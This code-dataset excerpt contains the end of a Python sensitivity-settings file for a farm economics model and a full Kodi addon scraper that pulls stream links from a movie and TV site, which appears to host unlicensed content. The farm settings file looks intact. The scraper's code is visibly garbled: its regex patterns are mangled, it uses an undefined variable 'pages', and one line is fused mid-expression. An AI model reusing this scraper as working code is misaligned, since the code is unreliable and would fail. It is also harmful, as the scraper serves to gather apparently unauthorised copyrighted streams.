#SA to alter fs number - fs number is appended to the fs pkl file and can be used to select which pkl fs is created for a given trial.\n sav['gen_with_t'] = '-' #SA to control if sheep generator is run with active t axis.\n sav['fs_use_pkl'] = '-' #SA to control if the pkl fs is used or the excel input fs is used.\n sav['fs_use_number'] = '-' #SA to alter fs number - fs number is appended to the fs pkl file and can be used to select which pkl fs is used for a given trial.\n sav['use_pkl_condensed_start_condition'] = '-' #SA to control if the pkl values are used for the start animal at condensing\n sav['r2adjust_inc'] = '-' #SA to control if the r2 feedsupply adjustment from Excel is included.\n sav['inc_c1_variation'] = '-' #control if price variation is on. This only effects result if risk aversion is included.\n sav['inc_risk_aversion'] = '-' #control if risk aversion is included. Default is not included (ie utility=profit).\n sav['utility_method'] = '-' #control which utility function is used\n sav['cara_risk_coef'] = '-' #control risk coefficient for CRRA method\n sav['crra_risk_coef'] = '-' #control risk coefficient for CRRA method\n sav['pinp_rot'] = '-' #control if using the pinp rotations or the full rotation list (note full rot requires simulation inputs)\n sav['mach_option'] = '-' #control which machine compliment is used\n sav['lmu_area_l'] = np.full(len(pinp.general['i_lmu_area']), '-', dtype=object) # SA for area of each LMU\n sav['lmu_arable_propn_l'] = np.full(len(pinp.general['i_lmu_area']), '-', dtype=object) # SA for area of each LMU\n ##SAM\n sam['random'] = 1.0 # SA multiplier used to tweak any random variable when debugging or checking something (after being used it is best to remove it)\n sam['grainp'] = 1.0 # SA multiplier for all grain prices\n sam['grainp_k'] = np.ones(len_k, dtype=np.float64) # SA multiplier for grain prices for each crop\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n ##########\n #finance #\n ##########\n ##SAV\n sav['minroe'] = '-' #SA to alter the minroe (applied to both steady-state and dsp minroe inputs)\n sav['capital_limit'] = '-' #SA to alter the capital limit (amount of money that can be loaned from bank)\n sav['interest_rate'] = '-' #SA to alter the credit and debit interest from bank\n sav['opp_cost_capital'] = '-' #SA to alter the opportunity cost of capital\n sav['fixed_dep_rate'] = '-' #SA to alter the fixed rate of machinery depreciation per year\n sav['equip_insurance_rate'] = '-' #SA to alter the insurance cost (% of machine value)\n sav['overheads'] = np.full(len(pinp.general['i_overheads']), '-', dtype=object) #SA to alter the overhead costs\n ##SAM\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n ########\n #Price #\n ########\n ##SAV\n sav['grain_percentile'] = '-' #grain price percentile\n sav['woolp_mpg_percentile'] = '-' #sa value for the wool price percentile\n sav['woolp_mpg'] = '-' # sa value for wool price at std micron\n sav['woolp_fdprem_percentile'] = '-' # sa value for fd premium percentile (premium received by fd compared to std)\n sav['woolp_fdprem'] = '-' # sa value for fd premium\n sav['salep_percentile'] = '-' #Value for percentile for all sale grids\n sav['salep_max'] = '-' #max sale price in grid\n sav['fert_cost'] = np.full(len(uinp.price['fert_cost']), '-', dtype=object) #SA value for fert price $/t\n sav['manager_cost'] = '-' #SA value for manager cost per year\n sav['permanent_cost'] = '-' #SA value for permanent cost per year\n sav['casual_cost'] = '-' #SA value for casual cost per hour\n ##SAM\n sam['woolp_mpg'] = 1.0 # sa multiplier for wool price at std micron\n sam['salep_max'] = 1.0 #max sale price in grid\n sam['salep_month_adjust_s7s9p4'] = np.ones(uinp.sheep['i_salep_months_priceadj_s7s9p4'].shape, dtype=np.float64) #monthly sale price\n ##SAP\n ##SAA\n ##SAT\n sat['salep_weight_scalar'] = 0.0 #Scalar for LW impact across grid 1\n sat['salep_score_scalar'] = 0.0 #Scalar for score impact across the grid\n ##SAR\n\n\n #########\n #Labour #\n #########\n ##SAV\n sav['manager_ub'] = '-' #manager upper bound\n sav['casual_ub'] = '-' #casual upper bound all year except seeding and harv\n sav['seedharv_casual_ub'] = '-' #casual upper bound at seeding and harv\n ##SAM\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n ###########\n #Sup feed #\n ###########\n ##SAV\n sav['max_sup_selectivity'] = '-' #control the maximum propn of potential intake used by supplement when paddock feeding.\n sav['inc_sup_selectivity'] = '-' #control inclusion of the sup selectivity bnd (maximum propn of potential intake used by supplement when paddock feeding).\n sav['confinement_feeding_cost_factor'] = '-' #reduction factor for sup feeding cost when in confinement\n sav['confinement_feeding_labour_factor'] = '-' #reduction factor for sup feeding labour when in confinement\n ##SAM\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n ##############\n #Cropgrazing #\n ##############\n ##SAV\n sav['cropgrazing_inc'] = '-' #control if crop grazing is allowed\n ##SAM\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n ####################\n #Salt land pasture #\n ####################\n ##SAV\n sav['slp_inc'] = '-' #control if salt land pasture is included\n ##SAM\n sam['sb_growth'] = 1.0 # SA multiplier for the growth of saltbush on slp (applies to all lmus and fp)\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n #######\n #crop #\n #######\n ##SAV\n sav['lmu_yield_adj_kl'] = np.full((len_k, len_l), '-', dtype=object) # SA value for yield adjustment by LMU\n sav['lmu_fert_adj_nl'] = np.full((len_n, len_l), '-', dtype=object) # SA value for fert adjustment by LMU\n sav['lmu_chem_adj_l'] = np.full(len_l, '-', dtype=object) # SA value for chem adjustment by LMU\n ##SAM\n sam['all_rot_yield'] = 1.0 # SA multiplier for all rotation yield\n sam['crop_yield_k'] = np.ones(len_k, dtype=np.float64) # SA multiplier for all rotation yield\n sam['crop_fert_kn'] = np.ones((len_k, len_n), dtype=np.float64) #SA multipler on crop fertiliser\n sam['pas_fert_kn'] = np.ones((len_pas_k, len_n), dtype=np.float64) #SA multipler on pas fertiliser\n sam['crop_chem_k'] = np.ones(len_k, dtype=np.float64) #SA multipler on crop chem package cost (ie all chem timing are scalled the same)\n sam['pas_chem_k'] = np.ones(len_pas_k, dtype=np.float64) #SA multipler on pas chem package cost (ie all chem timing are scalled the same)\n ##SAP\n ##SAA\n saa['crop_fert_passes_kn'] = np.zeros((len_k, len_n), dtype=np.float64) #SA adder on crop fertiliser passes\n saa['pas_fert_passes_kn'] = np.zeros((len_pas_k, len_n), dtype=np.float64) #SA adder on pas fertiliser passes\n saa['crop_chem_passes_kn1'] = np.zeros((len_k, len_n1), dtype=np.float64) #SA adder on crop chem passes\n saa['pas_chem_passes_kn1'] = np.zeros((len_pas_k, len_n1), dtype=np.float64) #SA adder on pas chem passes\n ##SAT\n ##SAR\n\n ############\n # Pasture # these need to have the same name for each pasture type\n ############\n ##SAV\n sav['poc_inc'] = '-' #control if poc is included\n sav['pas_inc_t'] = np.full_like(pinp.general['pas_inc'], '-', dtype=object) #SA value for pastures included mask\n ##SAM\n sam['germ','annual'] = 1.0 # SA multiplier for germination on all lmus in all periods\n sam['germ','understory'] = 1.0 # SA multiplier for germination on all lmus in all periods\n sam['germ_l','annual'] = np.ones((len(pinp.general['i_lmu_area'])), dtype=np.float64) # SA multiplier for germination on each lmus in all periods\n sam['germ_l','understory'] = np.ones((len(pinp.general['i_lmu_area'])), dtype=np.float64) # SA multiplier for germination on each lmus in all periods\n sam['pgr','annual'] = 1.0 # SA multiplier for growth on all lmus in all periods\n sam['pgr','understory'] = 1.0 # SA multiplier for growth on all lmus in all periods\n sam['pgr_zp6','annual'] = np.ones((len_z, len_p6), dtype=np.float64) # SA multiplier for growth in each feed period\n sam['pgr_zp6','understory'] = np.ones((len_z, len_p6), dtype=np.float64) # SA multiplier for growth in each feed period\n sam['pgr_l','annual'] = np.ones((len(pinp.general['i_lmu_area'])), dtype=np.float64) # SA multiplier for growth on each lmus in all periods\n sam['pgr_l','understory'] = np.ones((len(pinp.general['i_lmu_area'])), dtype=np.float64) # SA multiplier for growth on each lmus in all periods\n sam['dry_dmd_decline','annual'] = 1.0 # SA multiplier for the decline in digestibility of dry feed\n sam['dry_dmd_decline','understory'] = 1.0 # SA multiplier for the decline in digestibility of dry feed\n sam['grn_dmd_declinefoo_f','annual'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier on decline in digestibility if green feed is not grazed (to increase FOO)\n sam['grn_dmd_declinefoo_f','understory'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier on decline in digestibility if green feed is not grazed (to increase FOO)\n sam['grn_dmd_range_f','annual'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier on range in digestibility of green feed\n sam['grn_dmd_range_f','understory'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier on range in digestibility of green feed\n sam['grn_dmd_senesce_f','annual'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier on reduction in digestibility when senescing\n sam['grn_dmd_senesce_f','understory'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier on reduction in digestibility when senescing\n sam['conservation_limit_f','annual'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier for the conservation limit in each feed period\n sam['conservation_limit_f','understory'] = np.ones(len(pinp.period['i_fp_idx']), dtype=np.float64) # SA multiplier for the conservation limit in each feed period\n ##SAP\n ##SAA pasture\n saa['germ','annual'] = 0.0 # SA addition for germination on all lmus in all periods\n saa['germ','understory'] = 0.0 # SA addition for germination on all lmus in all periods\n saa['pgr','annual'] = 0.0 # SA addition for growth on all lmus in all periods\n saa['pgr','understory'] = 0.0 # SA addition for growth on all lmus in all periods\n saa['pgr_zp6','annual'] = np.zeros((len_z, len_p6), dtype=np.float64) # SA addition for growth in each feed period\n saa['pgr_zp6','understory'] = np.zeros((len_z, len_p6), dtype=np.float64) # SA addition for growth in each feed period\n saa['pgr_l','annual'] = np.zeros((len(pinp.general['i_lmu_area'])), dtype=np.float64) # SA addition for growth on each lmus in all periods\n saa['pgr_l','understory'] = np.zeros((len(pinp.general['i_lmu_area'])), dtype=np.float64) # SA addition for growth on each lmus in all periods\n ##SAT\n ##SAR\n\n ############\n #livestock #\n ############\n ##SAV\n ###stock feedsupply\n sav['feedsupply_adj_r2p'] = np.full_like(pinp.feedsupply['i_feedsupply_adj_options_r2p'], '-', dtype=object) # SA value for feedsupply adjustment.\n sav['dams_confinement_P'] = np.full(len_P, '-', dtype=object) # SA to control the gen periods dams are in confimentment - this gets applied in FeedSupplyStock.py. Note, this will overwrite pkl so if using pkl to optimise confinement you most likely don’t want to use this SAV.\n ###stock others\n sav['nv_inc'] = '-' #SA to store NV report values\n sav['lw_inc'] = '-' #SA to store LW report values\n sav['ffcfw_inc'] = '-' #SA to store FFCFW report values\n sav['onhand_mort_p_inc'] = '-' #SA to store onhand report values\n sav['mort_inc'] = '-' #SA to store mort report values\n sav['feedbud_inc'] = '-' #SA to store feed budget report values\n sav['eqn_compare'] = '-' #SA to alter if the different equation systems in the sheep sim are run and compared\n sav['eqn_used_g0_q1p7'] = np.full(uinp.sheep['i_eqn_used_g0_q1p7'].shape, '-', dtype=object) #SA value for which equation system to use\n sav['eqn_used_g1_q1p7'] = np.full(uinp.sheep['i_eqn_used_g1_q1p7'].shape, '-', dtype=object) #SA value for which equation system to use\n sav['eqn_used_g2_q1p7'] = np.full(uinp.sheep['i_eqn_used_g2_q1p7'].shape, '-', dtype=object) #SA value for which equation system to use\n sav['eqn_used_g3_q1p7'] = np.full(uinp.sheep['i_eqn_used_g3_q1p7'].shape, '-', dtype=object) #SA value for which equation system to use\n sav['TOL_inc'] = np.full(pinp.sheep['i_mask_i'].shape, '-', dtype=object) # SA value for the inclusion of each TOL\n sav['g3_included'] = np.full(pinp.sheep['i_g3_inc'].shape, '-', dtype=object) # SA value for the inclusion of each offspring genotype\n sav['genotype'] = np.full(pinp.sheep['a_c2_c0'].shape, '-', dtype=object) # this is the selection of the genotypes of the sires for B, M & T\n sav['scan_og1'] = np.full(pinp.sheep['i_scan_og1'].shape, '-', dtype=object) # SA value for the scanning management option\n len_max_w1 = sinp.structuralsa['i_w_start_len1'] * len(sinp.structuralsa['i_nut_spread_n1']) ** (\n len(sinp.stock['i_fixed_fvp_mask_dams'])+len(sinp.structuralsa['i_fvp_mask_dams'])) #the max size of w if all n and fvps included.\n len_max_w3 = sinp.structuralsa['i_w_start_len3'] * len(sinp.structuralsa['i_nut_spread_n3']) ** len(sinp.structuralsa['i_fvp_mask_offs']) #the max size of w if all n and fvps included.\n sav['nut_mask_dams_oWi'] = np.full((pinp.sheep['i_o_len'], len_max_w1, pinp.sheep['i_i_len']), '-', dtype=object) #masks the nutrition options available e.g. high low high - the options selected are available for each starting weight (ie len_W = len_w/n_start_weights). This array is cut down in the code to the correct w len.\n sav['nut_mask_offs_sWix'] = np.full((pinp.sheep['i_s_len'], len_max_w3, pinp.sheep['i_i_len'], pinp.sheep['i_x_len']), '-', dtype=object) #masks the nutrition options available e.g. high low high - the options selected are available for each starting weight (ie len_W = len_w/n_start_weights). This array is cut down in the code to the correct w len.\n sav['nut_spread_n1'] = np.full(sinp.structuralsa['i_nut_spread_n1'].shape, '-', dtype=object) #nut spread dams\n sav['confinement_n1'] = np.full(sinp.structuralsa['i_confinement_n1'].shape, '-', dtype=object) #bool array - This control allows confinement to occur if it is turned on for the given p6 period (controlled in feedsupply in property inputs)\n sav['nut_spread_n3'] = np.full(sinp.structuralsa['i_nut_spread_n3'].shape, '-', dtype=object) #nut spread offs\n sav['confinement_n3'] = np.full(sinp.structuralsa['i_confinement_n3'].shape, '-', dtype=object) #bool array - This control allows confinement to occur if it is turned on for the given p6 period (controlled in feedsupply in property inputs)\n sav['n_fs_dams'] = '-' #nut options dams\n sav['n_fs_offs'] = '-' #nut options offs\n sav['n_initial_lw_dams'] = '-' #number of initial lws dams - note with the current code this can only be 2 or 3\n sav['adjp_lw_initial_w1'] = np.full(sinp.structuralsa['i_adjp_lw_initial_w1'].shape, '-', dtype=object) #initial lw adjustment dams\n sav['adjp_cfw_initial_w1'] = np.full(sinp.structuralsa['i_adjp_cfw_initial_w1'].shape, '-', dtype=object) #initial cfw adjustment dams\n sav['adjp_fd_initial_w1'] = np.full(sinp.structuralsa['i_adjp_fd_initial_w1'].shape, '-', dtype=object) #initial fd adjustment dams\n sav['adjp_fl_initial_w1'] = np.full(sinp.structuralsa['i_adjp_fl_initial_w1'].shape, '-', dtype=object) #initial fl adjustment dams\n sav['user_fvp_date_dams_iu'] = np.full(sinp.structuralsa['i_dams_user_fvp_date_iu'].shape, '-', dtype=object) #SA to control user fvp dates.\n sav['user_fvp_date_dams_yiu'] = np.full((len_y,)+sinp.structuralsa['i_dams_user_fvp_date_iu'].shape, '-', dtype=object) #SA to control user fvp dates.\n sav['mask_fvp_dams'] = np.full(sinp.structuralsa['i_fvp_mask_dams'].shape, '-', dtype=object) #SA to mask optional fvps.\n sav['fvp_is_dvp_dams'] = np.full(sinp.structuralsa['i_dvp_mask_f1'].shape, '-', dtype=object) #SA to control if optional fvp is a dvp (note: fvps don't need to be dvps, the only benefit is if new information is available e.g. if animals uncluster, which allows differential management).\n sav['user_fvp_date_offs_iu'] = np.full(sinp.structuralsa['i_offs_user_fvp_date_iu'].shape, '-', dtype=object) #SA to control user fvp dates.\n sav['user_fvp_date_offs_yiu'] = np.full((len_y,)+sinp.structuralsa['i_offs_user_fvp_date_iu'].shape, '-', dtype=object) #SA to control user fvp dates.\n sav['mask_fvp_offs'] = np.full(sinp.structuralsa['i_fvp_mask_offs'].shape, '-', dtype=object) #SA to mask optional fvps.\n sav['fvp_is_dvp_offs'] = np.full(sinp.structuralsa['i_fvp_mask_offs'].shape, '-', dtype=object) #SA to control if optional fvp is a dvp (note: fvps don't need to be dvps, the only benefit is if new information is available e.g. if animals uncluster, which allows differential management).\n sav['r1_izg1'] = np.full(pinp.sheep['ia_r1_zig1'].shape, '-', dtype=object) #SA to change the base feed option selected for dams\n sav['r1_izg3'] = np.full(pinp.sheep['ia_r1_zig3'].shape, '-', dtype=object) #SA to change the base feed option selected for offspring\n sav['r2_ik0g1'] = np.full(pinp.sheep['ia_r2_ik0g1'].shape, '-', dtype=object) #SA to change the selected feed adjustments selected for the k0 axis (wean age) for dams\n sav['r2_ik0g3'] = np.full(pinp.sheep['ia_r2_ik0g3'].shape, '-', dtype=object) #SA to change the selected feed adjustments selected for the k0 axis (wean age) for offs\n sav['r2_isk2g1'] = np.full(pinp.sheep['ia_r2_isk2g1'].shape, '-', dtype=object) #SA to change the selected feed adjustments selected for the k2 axis (LSLN) for dams\n sav['r2_ik5g3'] = np.full(pinp.sheep['ia_r2_ik5g3'].shape, '-', dtype=object) #SA to change the selected feed adjustments selected for the k5 axis (BTRT) for offs\n sav['LTW_loops_increment'] = '-' #SA to Increment the number of LTW loops carried out in the code. The base is 2 loops with 0 increment but if using pkl fs or ltw_adj is 0 then base is 0 loops.\n ##SAM\n sam['kg'] = 1.0 #energy efficiency of adults (zf2==1)\n sam['mr'] = 1.0 #Maintenance requirement of adults (zf2==1)\n sam['pi'] = 1.0 #Potential intake of adults (zf2==1)\n sam['LTW_dams'] = 1.0 #adjust impact of life time wool fleece effects\n sam['LTW_offs'] = 1.0 #adjust impact of life time wool fleece effects\n sam['pi_post'] = 1.0 #Post loop potential intake of adults (zf2==1)\n sam['chill'] = 1.0 #intermediate sam on chill.\n ##SAP\n sap['evg'] = 0.0 #energy content of liveweight gain - this is a high level sa, it impacts within a calculation not on an input and is only implemented on adults\n sap['mortalityp'] = 0.0 #Scale the calculated progeny mortality at birth relative - this is a high level sa, it impacts within a calculation not on an input\n sap['mortalitye'] = 0.0 #Scale the calculated dam mortality at birth - this is a high level sa, it impacts within a calculation not on an input\n sap['mortalityb'] = 0.0 #Scale the calculated base mortality (for all animals) - this is a high level sa, it impacts within a calculation not on an input\n sap['kg_post'] = 0.0 #Post loop energy efficiency of adults (zf2==1)\n sap['mr_post'] = 0.0 #Post loop maintenance requirement of adults (zf2==1)\n ##SAA\n saa['husb_cost_h2'] = np.zeros(uinp.sheep['i_husb_operations_contract_cost_h2'].shape, dtype=np.float64) #SA value for contract cost of husbandry operations.\n saa['husb_labour_l2h2'] = np.zeros(uinp.sheep['i_husb_operations_labourreq_l2h2'].shape, dtype=np.float64) #units of the job carried out per husbandry labour hour\n saa['r1_izg1'] = np.zeros(pinp.sheep['ia_r1_zig1'].shape, dtype=int) #SA to change the base feed option selected for dams\n saa['r1_izg3'] = np.zeros(pinp.sheep['ia_r1_zig3'].shape, dtype=int) #SA to change the base feed option selected for offspring\n saa['r2_isk2g1'] = np.zeros(pinp.sheep['ia_r2_isk2g1'].shape, dtype=int) #SA to change the base feed option selected for dams\n saa['r2_ik5g3'] = np.zeros(pinp.sheep['ia_r2_ik5g3'].shape, dtype=int) #SA to change the base feed option selected for offspring\n saa['date_born1st_iog'] = np.zeros(pinp.sheep['i_date_born1st_iog2'].shape, dtype=int) #SA to adjust lambing date (used for ewe lambs).\n saa['feedsupply_r1jp'] = np.zeros(pinp.feedsupply['i_feedsupply_options_r1j2p'].shape, dtype=np.float64) #SA value for feedsupply.\n saa['feedsupply_adj_r2p'] = np.zeros(pinp.feedsupply['i_feedsupply_adj_options_r2p'].shape, dtype=np.float64) #SA value for feedsupply adjustment.\n ##SAT\n ##SAR\n\n #####################\n ##stock parameters #\n #####################\n ##SAV\n sav['srw_c2'] = np.full(uinp.parameters['i_srw_c2'].shape, '-', dtype=object) #SA value for srw of each c2 genotype.\n sav['cl0_c2'] = np.full(uinp.parameters['i_cl0_c2'].shape, '-', dtype=object) #SA value for litter size genotype params.\n ##SAM\n sam['ci_c2'] = np.ones(uinp.parameters['i_ci_c2'].shape, dtype=np.float64) #intake params for genotypes\n sam['sfw_c2'] = 1.0 #std fleece weight genotype params\n sam['rr'] = 1.0 #scanning percentage (adjust the standard scanning % for f_conception_ltw and within function for f_conception_cs\n sam['husb_cost_h2'] = np.ones(uinp.sheep['i_husb_operations_contract_cost_h2'].shape, dtype=np.float64) #SA value for contract cost of husbandry operations.\n sam['husb_mustering_h2'] = np.ones(uinp.sheep['i_husb_operations_muster_propn_h2'].shape, dtype=np.float64) #SA value for mustering required for husbandry operations.\n sam['husb_labour_l2h2'] = np.ones(uinp.sheep['i_husb_operations_labourreq_l2h2'].shape, dtype=np.float64) #units of the job carried out per husbandry labour hour\n ##SAP\n saa['sfd_c2'] = 0.0 #std fibre diameter genotype params\n saa['cl0_c2'] = np.zeros(uinp.parameters['i_cl0_c2'].shape, dtype=np.float64) #SA value for litter size genotype params.\n saa['scan_std_c2'] = 0.0 #std scanning percentage of a genotype. Controls the MU repro, initial propn of sing/twin/trip prog required to replace the dams, the lifetime productivity of the dams as affected by their BTRT..\n saa['nlb_c2'] = 0.0 #std scanning percentage of a genotype. Controls the MU repro, initial propn of sing/twin/trip prog required to replace the dams, the lifetime productivity of the dams as affected by their BTRT..\n saa['rr'] = 0.0 #reproductive rate/scanning percentage (adjust the standard scanning % for f_conception_ltw and within function for f_conception_cs\n saa['rr_age_og1'] = np.zeros(pinp.sheep['i_scan_og1'].shape, dtype=np.float64) # reproductive rate by age. Use shape that has og1\n saa['mortalityx_ol0g1'] = np.zeros((len_o, len_l0, len_g1), dtype=np.float64) #Adjust the progeny mortality due to exposure at birth relative - this is a high level sa, it impacts within a calculation not on an input\n saa['wean_wt'] = 0.0 #weaning weight adjustment of yatf. Note: WWt changes without any change in MEI\n ##SAA\n ##SAT\n ##SAR\n\n ##########\n ##Bounds #\n ##########\n ##SAV\n sav['bnd_slp_area_l'] = np.full(len_l, '-', dtype=object) #control the area of slp on each lmu\n sav['bnd_sb_consumption_p6'] = np.full(len(pinp.period['i_fp_idx']), '-', dtype=object) #upper bnd on the amount of sb consumed\n sav['bnd_total_pas_area'] = '-' #Total pasture area for bound. '-' is default so it will chuck an error if the bound is turned on without a specified area\n sav['bnd_pasarea_inc'] = '-' #SA to turn on the pasture area bound\n sav['bnd_rotn_inc'] = '-' #SA to turn on the phase area bounds\n sav['bnd_sr_inc'] = '-' #SA to turn on the stocking rate bounds\n sav['bnd_sup_per_dse'] = '-' #SA to control the supplement per dse (kg/dse)\n sav['bnd_propn_dams_mated_og1'] = np.full((len_d,) + pinp.sheep['i_g3_inc'].shape, '-', dtype=object) #proportion of dams mated\n sav['est_propn_dams_mated_og1'] = np.full((len_d,) + pinp.sheep['i_g3_inc'].shape, '-', dtype=object) #estimated proportion of dams mated - used when bnd_propn is default \"-\"\n sav['propn_mated_w_inc'] = '-' #Control if the constraint on proportion mated includes 'w' set\n sav['bnd_drys_sold_o'] = np.full(pinp.sheep['i_dry_sales_forced_o'].shape, '-', dtype=object) #SA to force drys to be sold\n sav['bnd_drys_retained_o'] = np.full(pinp.sheep['i_dry_retained_forced_o'].shape, '-', dtype=object) #SA to force drys to be retained\n sav['est_drys_retained_scan_o'] = np.full(pinp.sheep['i_drys_retained_scan_est_o'].shape, '-', dtype=object) #Estimate of the propn of drys sold at scanning\n sav['est_drys_retained_birth_o'] = np.full(pinp.sheep['i_drys_retained_birth_est_o'].shape, '-', dtype=object) #Estimate of the propn of drys sold at birth\n sav['bnd_sale_twice_dry_inc'] = '-' #SA to include the bound which forces twice dry dams to be sold\n sav['bnd_twice_dry_propn'] = '-' #SA to change twice dry dam proportion\n sav['bnd_lo_dam_inc'] = '-' #control if dam lower bound is on.\n sav['bnd_lo_dams_tog1'] = np.full((len_t1,) + (len_d,) + (len_g1,), '-', dtype=object) #min number of dams\n sav['bnd_lo_dams_tVg1'] = np.full((len_t1,) + (len_V,) + (len_g1,), '-', dtype=object) #min number of dams\n sav['bnd_up_dam_inc'] = '-' #control if dam upper bound is on.\n sav['bnd_up_dams_tog1'] = np.full((len_t1,) + (len_d,) + (len_g1,), '-', dtype=object) #max number of dams\n sav['bnd_up_dams_tVg1'] = np.full((len_t1,) + (len_V,) + (len_g1,), '-', dtype=object) #max number of dams\n sav['bnd_total_dams_scanned'] = '-' #total dams scanned (summed over all dvps) - this also controls if bound is on.\n sav['bnd_propn_dam5_retained'] = '-' #propn of 5yo dams retained - this also controls if bound is on.\n sav['bnd_lo_off_inc'] = '-' #control if off lower bound is on.\n sav['bnd_lo_offs_tsdxg3'] = np.full((len_t3,) + (len_s,) + (len_d,) + (len_x,) + (len_g3,), '-', dtype=object) #min number of offs\n sav['bnd_up_off_inc'] = '-' #control if off upper bound is on.\n sav['bnd_up_offs_tsdxg3'] = np.full((len_t3,) + (len_s,) + (len_d,) + (len_x,) + (len_g3,), '-', dtype=object) #max number of offs\n sav['bnd_up_prog_inc'] = '-' #control if prog upper bound is on.\n sav['bnd_up_prog_tdxg2'] = np.full((len_t2,) + (len_d,) + (len_x,) + (len_g2,), '-', dtype=object) #max number of offs\n sav['bnd_sr_t'] = np.full(pinp.sheep['i_sr_constraint_t'].shape, '-', dtype=object) #SA to fix stocking rate\n sav['bnd_min_sale_age_wether_g3'] = np.full(pinp.sheep['i_g3_inc'].shape, '-', dtype=object) #SA to set min age wether can be sold\n sav['bnd_max_sale_age_wether_g3'] = np.full(pinp.sheep['i_g3_inc'].shape, '-', dtype=object) #SA to set max age wether can be sold\n sav['bnd_min_sale_age_female_g1'] = np.full(pinp.sheep['i_g3_inc'].shape, '-', dtype=object) #SA to set min age a dam can be sold - BBT offspring can be sold but BBT dams can't (because they are BB)\n sav['bnd_min_sale_age_female_dg3'] = np.full((len_d,) + (len_g3,), '-', dtype=object) #SA to set min age a female can be sold - used to bound prog & offs\n sav['bnd_max_sale_age_female_g3'] = np.full(pinp.sheep['i_g3_inc'].shape, '-', dtype=object) #SA to set max age wether can be sold\n sav['rot_lobound_rl'] = np.full((len_R,) + (len_l,), '-', dtype=object)\n ##SAM\n ##SAP\n ##SAA\n ##SAT\n ##SAR\n\n\n\n","sub_path":"lib/AfoLogic/Sensitivity.py","file_name":"Sensitivity.py","file_ext":"py","file_size_in_byte":33848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"575088729","text":"# -*- coding: UTF-8 -*-\n#######################################################################\n # ----------------------------------------------------------------------------\n # \"THE BEER-WARE LICENSE\" (Revision 42):\n # @tantrumdev wrote this file. As long as you retain this notice you\n # can do whatever you want with this stuff. If we meet some day, and you think\n # this stuff is worth it, you can buy me a beer in return. - Muad'Dib\n # ----------------------------------------------------------------------------\n#######################################################################\n\n# Addon Name: Placenta\n# Addon id: plugin.video.placenta\n# Addon Provider: MuadDib\n\nimport urlparse, urllib, re, json, xbmc, httplib\n\nfrom resources.lib.modules import client, cleantitle, source_utils, directstream\n\n\nclass source:\n def __init__(self):\n self.priority = 1\n self.language = ['en']\n self.domains = ['mehlizmovies.is']\n self.base_link = 'https://www.mehlizmovies.is'\n self.season_path = '/seasons/%s-season-%s/'\n self.search_path = '/?s=%s'\n\n def movie(self, imdb, title, localtitle, aliases, year):\n try:\n url = {'title': title, 'year': year}\n return urllib.urlencode(url)\n\n except Exception:\n return\n\n def tvshow(self, imdb, tvdb, tvshowtitle, localtvshowtitle, aliases, year):\n try:\n data = {'tvshowtitle': tvshowtitle, 'year': year}\n return urllib.urlencode(data)\n\n except Exception:\n return\n\n def episode(self, url, imdb, tvdb, title, premiered, season, episode):\n try:\n data = urlparse.parse_qs(url)\n data = dict((i, data[i][0]) for i in data)\n data.update({'season': season, 'episode': episode, 'title': title, 'premiered': premiered})\n\n return urllib.urlencode(data)\n\n except Exception:\n return\n\n def sources(self, url, hostDict, hostprDict):\n try:\n sources = []\n\n data = urlparse.parse_qs(url)\n data = dict((i, data[i][0]) for i in data)\n\n if 'tvshowtitle' in data:\n url = self.__get_episode_url(data)\n else:\n url = self.__get_movie_url(data)\n\n urls = []\n\n if isinstance(url, str):\n urls.append(url)\n else:\n urls.extend(url)\n\n for url in urls:\n if 'mehlizmovies.is' in url:\n html = client.request(url, referer=self.base_link + '/')\n files = re.findall('file: \\\"(.+?)\\\".+?label: \\\"(.+?)\\\"', html)\n\n for i in files:\n try:\n sources.append({\n 'source': 'gvideo',\n 'quality': i[1],\n 'language': 'en',\n 'url': i[0],\n 'direct': True,\n 'debridonly': False\n })\n\n except Exception:\n pass\n\n else:\n valid, hoster = source_utils.is_host_valid(url, hostDict)\n if not valid: continue\n urls, host, direct = source_utils.check_directstreams(url, hoster)\n\n sources.append({\n 'source': hoster,\n 'quality': urls[0]['quality'],\n 'language': 'en',\n 'url': url,\n 'direct': False,\n 'debridonly': False\n })\n\n return sources\n\n except Exception:\n return\n\n def resolve(self, url):\n try:\n return url\n except Exception:\n return\n\n def __get_episode_url(self, data):\n try:\n value = data['tvshowtitle'].lower().replace(' ', '+') + '+season+' + data['season']\n query = self.search_path % value\n url = urlparse.urljoin(self.base_link, query)\n\n # Gzip returns IncompleteRead\n html = client.request(url, compression=False)\n\n url = re.findall('\\\"title\\\">\\s%s: Season %s<\\/a>' % (data['tvshowtitle'], data['season']), html, re.IGNORECASE)[0]\n\n html = client.request(url)\n page_list = re.findall('\\\"numerando\\\">%sx%s<\\/div>\\s+.+\\s+.+?href=\\\"(.+?)\\\">(.+?)<\\/a>' % (data['season'], data['episode']), html)\n\n if len(page_list) > 1:\n ref_title = data['title'].lower().replace(' ', '')\n\n for i in page_list:\n found_title = i[1].lower().replace(' ', '')\n\n if found_title == ref_title:\n ep_page = i[0]\n break\n\n else:\n ep_page = page_list[0][0]\n\n html = client.request(ep_page)\n embed = re.findall('\\s%s.+?\\/a>' % data['title'], html)\n\n embeds = []\n\n for page in pages:\n html = client.request(page)\n embeds.append(re.findall('play-box-iframe.+\\s 1:\n return embeds\n else:\n return embeds[0]\n\n except Exception:\n return\n","sub_path":"script.module.placenta/lib/resources/lib/sources/en/to_be_fixed/needsfixing/mehliz.py","file_name":"mehliz.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"99727972","text":"import pandas as pd, numpy as np, datetime as dt\nimport json\n\ndef manipulate_data(df, year):\n year = 